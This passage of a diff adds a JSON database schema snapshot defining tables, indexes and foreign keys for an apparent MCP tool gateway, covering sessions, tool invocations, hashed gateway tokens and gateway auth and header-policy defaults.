+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_gateway_sessions_token_hash_uq": {
+          "name": "tool_gateway_sessions_token_hash_uq",
+          "columns": [
+            {
+              "expression": "token_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_company_agent_idx": {
+          "name": "tool_gateway_sessions_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_company_expires_idx": {
+          "name": "tool_gateway_sessions_company_expires_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_run_idx": {
+          "name": "tool_gateway_sessions_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_issue_idx": {
+          "name": "tool_gateway_sessions_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_gateway_sessions_gateway_idx": {
+          "name": "tool_gateway_sessions_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_gateway_sessions_company_id_companies_id_fk": {
+          "name": "tool_gateway_sessions_company_id_companies_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_agent_id_agents_id_fk": {
+          "name": "tool_gateway_sessions_agent_id_agents_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_run_id_heartbeat_runs_id_fk": {
+          "name": "tool_gateway_sessions_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_issue_id_issues_id_fk": {
+          "name": "tool_gateway_sessions_issue_id_issues_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_project_id_projects_id_fk": {
+          "name": "tool_gateway_sessions_project_id_projects_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_gateway_sessions_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_gateway_sessions_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_gateway_sessions_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_gateway_sessions",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_invocations": {
+      "name": "tool_invocations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_type": {
+          "name": "client_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_id": {
+          "name": "client_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mcp_session_id": {
+          "name": "mcp_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_version_hash": {
+          "name": "catalog_version_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_schema_hash": {
+          "name": "catalog_schema_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_type": {
+          "name": "provider_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "application_key": {
+          "name": "application_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "upstream_tool_name": {
+          "name": "upstream_tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "risk_level": {
+          "name": "risk_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "arguments_hash": {
+          "name": "arguments_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "arguments_summary": {
+          "name": "arguments_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "policy_decision": {
+          "name": "policy_decision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_policy_ids": {
+          "name": "matched_policy_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "policy_explanation": {
+          "name": "policy_explanation",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_scope_summary": {
+          "name": "credential_scope_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "header_policy_summary": {
+          "name": "header_policy_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approval_state": {
+          "name": "approval_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'not_required'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "upstream_request_id": {
+          "name": "upstream_request_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_hash": {
+          "name": "result_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_summary": {
+          "name": "result_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_size_bytes": {
+          "name": "result_size_bytes",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_artifact_id": {
+          "name": "result_artifact_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_message": {
+          "name": "error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_invocations_company_created_idx": {
+          "name": "tool_invocations_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_run_idx": {
+          "name": "tool_invocations_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_issue_idx": {
+          "name": "tool_invocations_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_gateway_idx": {
+          "name": "tool_invocations_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_company_idempotency_uq": {
+          "name": "tool_invocations_company_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_invocations_company_id_companies_id_fk": {
+          "name": "tool_invocations_company_id_companies_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_agent_id_agents_id_fk": {
+          "name": "tool_invocations_agent_id_agents_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_issue_id_issues_id_fk": {
+          "name": "tool_invocations_issue_id_issues_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_run_id_heartbeat_runs_id_fk": {
+          "name": "tool_invocations_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_invocations_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_invocations_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_application_id_tool_applications_id_fk": {
+          "name": "tool_invocations_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_connection_id_tool_connections_id_fk": {
+          "name": "tool_invocations_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_invocations_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_mcp_gateway_tokens": {
+      "name": "tool_mcp_gateway_tokens",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "token_prefix": {
+          "name": "token_prefix",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "subject_type": {
+          "name": "subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'gateway_client'"
+        },
+        "subject_id": {
+          "name": "subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_label": {
+          "name": "client_label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "owner_note": {
+          "name": "owner_note",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "allowed_actions": {
+          "name": "allowed_actions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[\"tools/list\",\"tools/call\"]'::jsonb"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_reason": {
+          "name": "expiry_override_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_by_user_id": {
+          "name": "expiry_override_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_by_agent_id": {
+          "name": "expiry_override_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_at": {
+          "name": "expiry_override_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_mcp_gateway_tokens_token_hash_uq": {
+          "name": "tool_mcp_gateway_tokens_token_hash_uq",
+          "columns": [
+            {
+              "expression": "token_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateway_tokens_gateway_idx": {
+          "name": "tool_mcp_gateway_tokens_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateway_tokens_subject_idx": {
+          "name": "tool_mcp_gateway_tokens_subject_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateway_tokens_company_expires_idx": {
+          "name": "tool_mcp_gateway_tokens_company_expires_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_mcp_gateway_tokens_company_id_companies_id_fk": {
+          "name": "tool_mcp_gateway_tokens_company_id_companies_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateway_tokens_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_mcp_gateway_tokens_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateway_tokens_expiry_override_by_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateway_tokens_expiry_override_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "expiry_override_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateway_tokens_created_by_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateway_tokens_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_mcp_gateways": {
+      "name": "tool_mcp_gateways",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'gw_' || replace(gen_random_uuid()::text, '-', '')"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "slug": {
+          "name": "slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "display_slug": {
+          "name": "display_slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "profile_id": {
+          "name": "profile_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "default_profile_mode": {
+          "name": "default_profile_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'gateway_only'"
+        },
+        "context_scope_type": {
+          "name": "context_scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "context_scope_id": {
+          "name": "context_scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approval_issue_id": {
+          "name": "approval_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "auth_config": {
+          "name": "auth_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"version\":1,\"bearer\":{\"enabled\":true,\"tokenPrefix\":\"pcgw\",\"defaultTtlSeconds\":7776000,\"requireFiniteExpiry\":true,\"longLivedTokenRequiresOverride\":true},\"oauth\":{\"enabled\":false,\"reservedFor\":\"v1_5\",\"dynamicClientRegistration\":false,\"authorizationCodePkce\":false}}'::jsonb"
+        },
+        "header_policy": {
+          "name": "header_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"version\":1,\"callerPassthrough\":{\"enabled\":false,\"allowedHeaders\":[]},\"staticHeaders\":[],\"generatedMetadata\":{\"enabled\":false,\"allowedHeaders\":[]},\"responseHeaders\":{\"forwardMcpRequiredHeaders\":true,\"forwardSafeCacheHeaders\":true}}'::jsonb"
+        },
+        "metadata_policy": {
+          "name": "metadata_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"version\":1,\"forwardCompanyId\":false,\"forwardGatewayId\":false,\"forwardProjectId\":false,\"forwardIssueId\":false,\"forwardAgentId\":false,\"forwardRunId\":false,\"forwardCorrelationId\":true}'::jsonb"
+        },
+        "on_demand_tools_config": {
+          "name": "on_demand_tools_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"enabled\":false,\"searchToolName\":\"search_tools\",\"runToolName\":\"run_tool\"}'::jsonb"
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_mcp_gateways_company_idx": {
+          "name": "tool_mcp_gateways_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_company_status_idx": {
+          "name": "tool_mcp_gateways_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_profile_idx": {
+          "name": "tool_mcp_gateways_profile_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_public_id_uq": {
+          "name": "tool_mcp_gateways_public_id_uq",
+          "columns": [
+            {
+              "expression": "gateway_public_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_company_slug_uq": {
+          "name": "tool_mcp_gateways_company_slug_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slug",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_company_name_uq": {
+          "name": "tool_mcp_gateways_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
